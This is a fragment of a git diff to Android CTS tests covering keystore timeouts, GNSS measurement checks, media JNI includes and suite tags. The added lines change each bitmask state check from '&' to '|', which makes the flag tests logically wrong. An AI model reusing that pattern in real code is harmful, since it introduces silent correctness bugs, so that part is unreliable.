+}
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index ae1b804..21578d4 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_JAVA_LIBRARIES := bouncycastle
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index ba74804..b09a679 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -18,6 +18,7 @@
 
 import android.app.KeyguardManager;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.security.KeyPairGeneratorSpec;
 import android.security.KeyStoreParameter;
 import android.security.keystore.KeyProperties;
@@ -77,6 +78,8 @@
 
     private static final String TEST_ALIAS_3 = "test3";
 
+    private long mMaxTestDurationMillis;
+
     /*
      * The keys and certificates below are generated with:
      *
@@ -731,6 +734,12 @@
 
         // Get a new instance because some tests need it uninitialized
         mKeyStore = KeyStore.getInstance("AndroidKeyStore");
+
+        // Use a longer timeout on watches, which are generally less performant.
+        mMaxTestDurationMillis =
+                getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
+                        ? LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS
+                        : LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS;
     }
 
     @Override
@@ -2027,6 +2036,7 @@
     private static final int MIN_SUPPORTED_KEY_COUNT = 1500;
     private static final long MINUTE_IN_MILLIS = 1000 * 60;
     private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS = 2 * MINUTE_IN_MILLIS;
+    private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS = 3 * MINUTE_IN_MILLIS;
 
     private static boolean isDeadlineReached(long startTimeMillis, long durationMillis) {
         long nowMillis = System.currentTimeMillis();
@@ -2072,8 +2082,7 @@
                     protectionParams);
 
             // Import key3 lots of times, under different aliases.
-            while (!isDeadlineReached(
-                    testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+            while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
                 latestImportedEntryNumber++;
                 if ((latestImportedEntryNumber % 1000) == 0) {
                     Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2171,7 +2180,7 @@
 
             // Import key3 lots of times, under different aliases.
             while (!isDeadlineReached(
-                    testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+                    testStartTimeMillis, mMaxTestDurationMillis)) {
                 latestImportedEntryNumber++;
                 if ((latestImportedEntryNumber % 1000) == 0) {
                     Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2267,8 +2276,7 @@
             mKeyStore.setEntry(entryName1, new KeyStore.SecretKeyEntry(key1), protectionParams);
 
             // Import key3 lots of times, under different aliases.
-            while (!isDeadlineReached(
-                    testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+            while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
                 latestImportedEntryNumber++;
                 if ((latestImportedEntryNumber % 1000) == 0) {
                     Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2356,8 +2364,7 @@
             mKeyStore.setEntry(entryName1, new KeyStore.SecretKeyEntry(key1), protectionParams);
 
             // Import key3 lots of times, under different aliases.
-            while (!isDeadlineReached(
-                    testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+            while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
                 latestImportedEntryNumber++;
                 if ((latestImportedEntryNumber % 1000) == 0) {
                     Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
diff --git a/tests/tests/libcorefileio/Android.mk b/tests/tests/libcorefileio/Android.mk
index d329c9d..066d727 100644
--- a/tests/tests/libcorefileio/Android.mk
+++ b/tests/tests/libcorefileio/Android.mk
@@ -28,6 +28,6 @@
 LOCAL_PACKAGE_NAME := CtsLibcoreFileIOTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorelegacy22/Android.mk b/tests/tests/libcorelegacy22/Android.mk
index 408fd3b..2788337 100644
--- a/tests/tests/libcorelegacy22/Android.mk
+++ b/tests/tests/libcorelegacy22/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_SDK_VERSION := 22
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index 20ce1d9..d5409d7 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Legacy Libcore test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 1da9525..b2fba89 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -48,7 +48,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner  apache-commons-math
 
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 3411914..fe4b1dd 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -37,8 +37,7 @@
   private TestLocationListener mLocationListener;
   private static final int LOCATION_UNCERTIANTY_MIN_YEAR = 2017;
   private boolean extendedLocationAccuracyExpected = false;
-  // TODO(b/65458848): Re-tighten the limit to 0.001 when sufficient devices in the market comply
-  private static final double MINIMUM_SPEED_FOR_BEARING = 1.000;
+  private static final double SPEED_EPSILON = 0.001;
 
   @Override
   protected void setUp() throws Exception {
@@ -96,7 +95,8 @@
     }
     Log.i(TAG, "This is a device from 2017 or later.");
 
-    if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
+    // When speed = 0, the Qualcomm HAL is not filling bearing accuracy.
+    if (location.hasSpeed() && location.getSpeed() > SPEED_EPSILON) {
       softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
           + "the LocationManager must have bearing accuracies.", location.hasBearingAccuracy());
       if (location.hasBearingAccuracy()) {
@@ -156,7 +156,8 @@
 
     // It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
     // The API will return 0.0 if there is no bearing
-    if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
+    // When speed = 0, the Qualcomm HAL is not filling the bearing.
+    if (location.hasSpeed() && location.getSpeed() > SPEED_EPSILON) {
       softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
         + "the LocationManager must have bearings.", location.hasBearing());
       if(location.hasBearing()) {
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index ec78ea3..1fcb8b8 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -89,9 +89,8 @@
   public void testPseudorangeValue() throws Exception {
     // Checks if Gnss hardware feature is present, skips test (pass) if not,
     // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
-    // From android O, CTS tests should run in the lab with GPS signal.
     if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
-        TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, true)) {
+        TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, isCtsVerifierTest())) {
       return;
     }
 
@@ -228,16 +227,7 @@
  * Use pseudorange calculation library to calculate position then compare to location from
  * Location Manager.
  */
-  @CddTest(requirement="7.3.3")
   public void testPseudoPosition() throws Exception {
-    // Checks if Gnss hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
-    // From android O, CTS tests should run in the lab with GPS signal.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
-        TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, true)) {
-      return;
-    }
-
     mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
     mTestLocationManager.requestLocationUpdates(mLocationListener);
 
@@ -261,11 +251,11 @@
     int eventCount = events.size();
     Log.i(TAG, "Number of Gps Event received = " + eventCount);
     int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
-    if (eventCount == 0 && gnssYearOfHardware < MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
+    if (eventCount == 0 && gnssYearOfHardware <= MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
       return;
     }
 
-    Log.i(TAG, "This is a device from 2016 or later.");
+    Log.i(TAG, "This is a device from 2017 or later.");
     assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
         eventCount > 0);
 
diff --git a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java b/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
index 1b8c3c3..d5bd393 100644
--- a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
+++ b/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
@@ -16,7 +16,6 @@
 package android.location.cts;
 
 import junit.framework.Assert;
-import android.location.GnssClock;
 import android.location.GnssMeasurement;
 import android.location.GnssMeasurementsEvent;
 import android.util.Log;
@@ -83,16 +82,10 @@
     public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
         // Only count measurement events with more than 4 actual Measurements in same constellation
         // with Cn0DbHz value greater than 18
-        if (event.getMeasurements().size() > 0) {
+        if (event.getMeasurements().size() > 0) { 
             Log.i(mTag, "GnssMeasurementsEvent size:" + event.getMeasurements().size());
             if (filterByEventSize) {
                 HashMap<Integer, Integer> constellationEventCount = new HashMap<>();
-                GnssClock gnssClock = event.getClock();
-                if (!gnssClock.hasFullBiasNanos()) {
-                    // If devices does not have FullBiasNanos yet, it will be difficult to check the quality, so await 
-                    // this flag as well.
-                    return;
-                }
                 for (GnssMeasurement gnssMeasurement : event.getMeasurements()){
                     int constellationType = gnssMeasurement.getConstellationType();
                     // if the measurement's signal level is too small ignore
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 430b37b..eb78a5b 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -352,12 +352,30 @@
                         svid >= 120 && svid <= 192);
                 break;
             case GnssStatus.CONSTELLATION_GLONASS:
-                softAssert.assertTrue("svid: Slot ID, or if unknown, Frequency + 100 (93-106). " +
-                                "Constellation type = CONSTELLATION_GLONASS",
+                // Check Upper 8 bit, signed
+                int freq = (svid >> 8);
+                softAssert.assertTrue("svid: upper 8 bits, frequency number. Constellation type " +
+                                "= CONSTELLATION_GLONASS",
                         timeInNs,
-                        "1 <= svid <= 24 || 93 <= svid <= 106",
+                        "freq == -127 || -7 <= freq <= 6",
                         svidValue,
-                        (svid >= 1 && svid <= 24) || (svid >= 93 && svid <= 106));
+                        // future proof check allowing a change in definition under discussion
+                        (freq == -127) || (freq >= -7 && freq <= 6) || (freq >= 93 && freq <= 106));
+                // Check lower 8 bits, signed
+                byte slot = (byte) svid;
+                softAssert.assertTrue("svid: lower 8 bits, slot. Constellation type " +
+                                "= CONSTELLATION_GLONASS",
+                        timeInNs,
+                        "slot == -127 || 1 <= slot <= 24",
+                        svidValue,
+                        // future proof check allowingn a change in definition under discussion
+                        (slot == -127) || (slot >= 1 && slot <= 24) || (slot >= 93 && slot <= 106));
+                softAssert.assertTrue("svid: one of slot or freq is set (not -127). " +
+                                "ConstellationType = CONSTELLATION_GLONASS,",
+                        timeInNs,
+                        "slot != -127 || freq != -127",
+                        svidValue,
+                        (slot != -127) || (freq != -127));
                 break;
             case GnssStatus.CONSTELLATION_QZSS:
                 softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
@@ -432,7 +450,7 @@
                         "CONSTELLATION_QZSS");
                 break;
             case GnssStatus.CONSTELLATION_SBAS:
-                if ((state & GnssMeasurement.STATE_SBAS_SYNC)
+                if ((state | GnssMeasurement.STATE_SBAS_SYNC)
                         == GnssMeasurement.STATE_SBAS_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_SBAS_SYNC",
@@ -441,7 +459,7 @@
                             "0s >= X <= 1s",
                             String.valueOf(sv_time_sec),
                             sv_time_sec >= 0 && sv_time_sec <= 1);
-                } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
+                } else if ((state | GnssMeasurement.STATE_SYMBOL_SYNC)
                         == GnssMeasurement.STATE_SYMBOL_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
@@ -450,7 +468,7 @@
                             "0ms >= X <= 2ms",
                             String.valueOf(sv_time_ms),
                             sv_time_ms >= 0 && sv_time_ms <= 2);
-                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+                } else if ((state | GnssMeasurement.STATE_CODE_LOCK)
                         == GnssMeasurement.STATE_CODE_LOCK) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_CODE_LOCK",
@@ -462,7 +480,7 @@
                 }
                 break;
             case GnssStatus.CONSTELLATION_GLONASS:
-                if ((state & GnssMeasurement.STATE_GLO_TOD_DECODED)
+                if ((state | GnssMeasurement.STATE_GLO_TOD_DECODED)
                         == GnssMeasurement.STATE_GLO_TOD_DECODED) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_GLO_TOD_DECODED",
@@ -471,7 +489,7 @@
                             "0 day >= X <= 1 day",
                             String.valueOf(sv_time_days),
                             sv_time_days >= 0 && sv_time_days <= 1);
-                } else if ((state & GnssMeasurement.STATE_GLO_TOD_KNOWN)
+                } else if ((state | GnssMeasurement.STATE_GLO_TOD_KNOWN)
                          == GnssMeasurement.STATE_GLO_TOD_KNOWN) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_GLO_TOD_KNOWN",
@@ -480,7 +498,7 @@
                             "0 day >= X <= 1 day",
                             String.valueOf(sv_time_days),
                             sv_time_days >= 0 && sv_time_days <= 1);
-                } else if ((state & GnssMeasurement.STATE_GLO_STRING_SYNC)
+                } else if ((state | GnssMeasurement.STATE_GLO_STRING_SYNC)
                         == GnssMeasurement.STATE_GLO_STRING_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_GLO_STRING_SYNC",
@@ -489,7 +507,7 @@
                             "0s >= X <= 2s",
                             String.valueOf(sv_time_sec),
                             sv_time_sec >= 0 && sv_time_sec <= 2);
-                } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+                } else if ((state | GnssMeasurement.STATE_BIT_SYNC)
                         == GnssMeasurement.STATE_BIT_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_BIT_SYNC",
@@ -498,7 +516,7 @@
                             "0ms >= X <= 20ms",
                             String.valueOf(sv_time_ms),
                             sv_time_ms >= 0 && sv_time_ms <= 20);
-                } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
+                } else if ((state | GnssMeasurement.STATE_SYMBOL_SYNC)
                         == GnssMeasurement.STATE_SYMBOL_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
@@ -507,7 +525,7 @@
                             "0ms >= X <= 10ms",
                             String.valueOf(sv_time_ms),
                             sv_time_ms >= 0 && sv_time_ms <= 10);
-                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+                } else if ((state | GnssMeasurement.STATE_CODE_LOCK)
                         == GnssMeasurement.STATE_CODE_LOCK) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_CODE_LOCK",
@@ -519,7 +537,7 @@
                 }
                 break;
             case GnssStatus.CONSTELLATION_GALILEO:
-                if ((state & GnssMeasurement.STATE_TOW_DECODED)
+                if ((state | GnssMeasurement.STATE_TOW_DECODED)
                         == GnssMeasurement.STATE_TOW_DECODED) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_TOW_DECODED",
@@ -528,7 +546,7 @@
                             "0 >= X <= 7 days",
                             String.valueOf(sv_time_days),
                             sv_time_days >= 0 && sv_time_days <= 7);
-                } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+                } else if ((state | GnssMeasurement.STATE_TOW_KNOWN)
                               == GnssMeasurement.STATE_TOW_KNOWN) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_TOW_DECODED",
@@ -537,7 +555,7 @@
                         "0 >= X <= 7 days",
                         String.valueOf(sv_time_days),
                         sv_time_days >= 0 && sv_time_days <= 7);
-                } else if ((state & GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC)
+                } else if ((state | GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC)
                         == GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_GAL_E1B_PAGE_SYNC",
@@ -546,7 +564,7 @@
                             "0s >= X <= 2s",
                             String.valueOf(sv_time_sec),
                             sv_time_sec >= 0 && sv_time_sec <= 2);
-                } else if ((state & GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK)
+                } else if ((state | GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK)
                         == GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_GAL_E1C_2ND_CODE_LOCK",
@@ -555,7 +573,7 @@
                             "0ms >= X <= 100ms",
                             String.valueOf(sv_time_ms),
                             sv_time_ms >= 0 && sv_time_ms <= 100);
-                } else if ((state & GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK)
+                } else if ((state | GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK)
                         == GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_GAL_E1BC_CODE_LOCK",
@@ -567,7 +585,7 @@
                 }
                 break;
             case GnssStatus.CONSTELLATION_BEIDOU:
-                if ((state & GnssMeasurement.STATE_TOW_DECODED)
+                if ((state | GnssMeasurement.STATE_TOW_DECODED)
                         == GnssMeasurement.STATE_TOW_DECODED) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_TOW_DECODED",
@@ -576,7 +594,7 @@
                             "0 >= X <= 7 days",
                             String.valueOf(sv_time_days),
                             sv_time_days >= 0 && sv_time_days <= 7);
-                } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
+                } else if ((state | GnssMeasurement.STATE_SUBFRAME_SYNC)
                         == GnssMeasurement.STATE_SUBFRAME_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
@@ -585,7 +603,7 @@
                             "0s >= X <= 6s",
                             String.valueOf(sv_time_sec),
                             sv_time_sec >= 0 && sv_time_sec <= 6);
-                } else if ((state & GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC)
+                } else if ((state | GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC)
                         == GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_BDS_D2_SUBFRAME_SYNC",
@@ -594,7 +612,7 @@
                             "0ms >= X <= 600ms (0.6sec)",
                             String.valueOf(sv_time_ms),
                             sv_time_ms >= 0 && sv_time_ms <= 600);
-                } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+                } else if ((state | GnssMeasurement.STATE_BIT_SYNC)
                         == GnssMeasurement.STATE_BIT_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_BIT_SYNC",
@@ -603,7 +621,7 @@
                             "0ms >= X <= 20ms",
                             String.valueOf(sv_time_ms),
                             sv_time_ms >= 0 && sv_time_ms <= 20);
-                } else if ((state & GnssMeasurement.STATE_BDS_D2_BIT_SYNC)
+                } else if ((state | GnssMeasurement.STATE_BDS_D2_BIT_SYNC)
                         == GnssMeasurement.STATE_BDS_D2_BIT_SYNC) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_BDS_D2_BIT_SYNC",
@@ -612,7 +630,7 @@
                             "0ms >= X <= 2ms",
                             String.valueOf(sv_time_ms),
                             sv_time_ms >= 0 && sv_time_ms <= 2);
-                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+                } else if ((state | GnssMeasurement.STATE_CODE_LOCK)
                         == GnssMeasurement.STATE_CODE_LOCK) {
                     softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                                     "GNSS_MEASUREMENT_STATE_CODE_LOCK",
@@ -649,7 +667,7 @@
         double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
         double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
 
-        if ((state & GnssMeasurement.STATE_TOW_DECODED)
+        if ((state | GnssMeasurement.STATE_TOW_DECODED)
                 == GnssMeasurement.STATE_TOW_DECODED) {
             softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                             "GNSS_MEASUREMENT_STATE_TOW_DECODED",
@@ -658,7 +676,7 @@
                     "0 >= X <= 7 days",
                     String.valueOf(sv_time_days),
                     sv_time_days >= 0 && sv_time_days <= 7);
-        } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
+        } else if ((state | GnssMeasurement.STATE_SUBFRAME_SYNC)
                 == GnssMeasurement.STATE_SUBFRAME_SYNC) {
             softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                             "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
@@ -667,7 +685,7 @@
                     "0s >= X <= 6s",
                     String.valueOf(sv_time_sec),
                     sv_time_sec >= 0 && sv_time_sec <= 6);
-        } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+        } else if ((state | GnssMeasurement.STATE_BIT_SYNC)
                 == GnssMeasurement.STATE_BIT_SYNC) {
             softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                             "GNSS_MEASUREMENT_STATE_BIT_SYNC",
@@ -677,7 +695,7 @@
                     String.valueOf(sv_time_ms),
                     sv_time_ms >= 0 && sv_time_ms <= 20);
 
-        } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+        } else if ((state | GnssMeasurement.STATE_CODE_LOCK)
                 == GnssMeasurement.STATE_CODE_LOCK) {
             softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
                             "GNSS_MEASUREMENT_STATE_CODE_LOCK",
diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
index a081213..de01ba8 100644
--- a/tests/tests/location2/Android.mk
+++ b/tests/tests/location2/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
 
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index b7ae9d2..9db91bb 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -77,7 +77,7 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner org.apache.http.legacy
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/media/libmediandkjni/codec-utils-jni.cpp b/tests/tests/media/libmediandkjni/codec-utils-jni.cpp
index cb4363e..d7bd74e 100644
--- a/tests/tests/media/libmediandkjni/codec-utils-jni.cpp
+++ b/tests/tests/media/libmediandkjni/codec-utils-jni.cpp
@@ -24,8 +24,8 @@
 #include <sys/types.h>
 #include <jni.h>
 
-#include <ScopedLocalRef.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
+#include <nativehelper/ScopedLocalRef.h>
 
 #include <math.h>
 
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index aa549b2..6cf9a89 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -24,7 +24,7 @@
 
 #include <assert.h>
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 #include <android/native_window_jni.h>
 
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
new file mode 100644
index 0000000..af2c7ac
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
new file mode 100644
index 0000000..d1c88fe
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
new file mode 100644
index 0000000..ddae12f
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
new file mode 100644
index 0000000..78bad13
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
new file mode 100644
index 0000000..c7d8429
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
new file mode 100644
index 0000000..c8d4afa
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv b/tests/tests/media/res/raw/video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv
new file mode 100644
index 0000000..dd6d3ab
--- /dev/null
+++ b/tests/tests/media/res/raw/video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index 4b5b1d7..93f3b66 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -205,7 +205,7 @@
     public void onlyH263SW()  { ex(H263(SW),  allTests); }
 
     public void bytebuffer() { ex(H264(SW), new EarlyEosTest().byteBuffer()); }
-    public void texture() { ex(H264(HW), new EarlyEosTest().texture()); }
+    public void onlyTexture() { ex(H264(HW), new EarlyEosTest().texture()); }
 
     /* inidividual tests */
